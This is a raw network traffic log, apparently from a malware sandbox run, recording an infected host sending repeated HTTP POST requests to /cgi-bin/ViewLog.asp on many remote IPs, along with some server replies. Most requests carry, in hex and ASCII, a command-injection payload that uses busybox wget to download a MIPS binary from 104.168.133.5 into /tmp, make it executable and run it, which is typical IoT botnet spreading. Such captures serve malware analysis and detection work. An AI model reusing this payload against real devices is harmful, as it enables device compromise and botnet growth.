                                                Session IDSource IPSource PortDestination IPDestination Port
                                                835192.168.2.154964285.246.34.888080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:59.232076883 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                836192.168.2.154931031.222.200.488080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:59.378082037 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:59.859354019 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                837192.168.2.155127094.120.10.1918080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:59.414067984 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                838192.168.2.155378462.233.57.898080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:59.415482998 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:59.603379011 CET678INHTTP/1.1 200 OK
                                                Date: Thu, 23 Nov 2023 04:22:59 GMT
                                                Content-Length: 476
                                                Content-Type: text/html; charset=utf-8
                                                Connection: close
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 4f 56 50 4d 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 22 3e 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 73 73 2f 6d 75 69 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6d 75 69 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 75 69 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 0a 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 72 6f 6f 74 22 3e 3c 2f 64 69 76 3e 0a 0a 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 62 75 6e 64 6c 65 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>OVPM</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" href="/css/bootstrap.min.css"> <link href="/css/mui.min.css" rel="stylesheet" type="text/css" /> <script src="/js/mui.min.js"></script></head><body> <div class="mui-container"> <div id="root"></div> </div> <script src="/bundle.js"></script></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                839192.168.2.155990631.200.246.448080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:59.429027081 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:00.504086018 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:00.706257105 CET1260INHTTP/1.1 404 No Encontrado
                                                Server: Apache-Coyote/1.1
                                                Content-Type: text/html;charset=utf-8
                                                Content-Language: es
                                                Content-Length: 1017
                                                Date: Thu, 23 Nov 2023 04:52:26 GMT
                                                Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 37 2e 30 2e 35 36 20 28 44 65 62 69 61 6e 29 20 2d 20 49 6e 66 6f 72 6d 65 20 64 65 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 45 73 74 61 64 6f 20 48 54 54 50 20 34 30 34 20 2d 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 49 6e 66 6f 72 6d 65 20 64 65 20 65 73 74 61 64 6f 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 6e 73 61 6a 65 3c 2f 62 3e 20 3c 75 3e 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 63 69 c3 b3 6e 3c 2f 62 3e 20 3c 75 3e 45 6c 20 72 65 63 75 72 73 6f 20 72 65 71 75 65 72 69 64 6f 20 6e 6f 20 65 73 74 c3 a1 20 64 69 73 70 6f 6e 69 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 37 2e 30 2e 35 36 20 28 44 65 62 69 61 6e 29 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <html><head><title>Apache Tomcat/7.0.56 (Debian) - Informe de Error</title><style>...H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>Estado HTTP 404 - /cgi-bin/ViewLog.asp</h1><HR size="1" noshade="noshade"><p><b>type</b> Informe de estado</p><p><b>mensaje</b> <u>/cgi-bin/ViewLog.asp</u></p><p><b>descripcin</b> <u>El recurso requerido no est disponible.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/7.0.56 (Debian)</h3></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                840192.168.2.154090631.200.43.1388080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:59.447493076 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                841192.168.2.155186662.234.24.1258080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:59.553183079 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:59.886878967 CET932INHTTP/1.1 404
                                                Content-Type: text/html;charset=utf-8
                                                Content-Language: en
                                                Content-Length: 682
                                                Date: Thu, 23 Nov 2023 04:22:59 GMT
                                                Keep-Alive: timeout=60
                                                Connection: keep-alive
                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 39 2e 30 2e 37 33 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.73</h3></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                842192.168.2.153905631.136.99.1368080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:59.794171095 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:00.380094051 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:01.528050900 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:03.863993883 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:08.471877098 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                843192.168.2.154540694.187.105.838080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:59.827073097 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
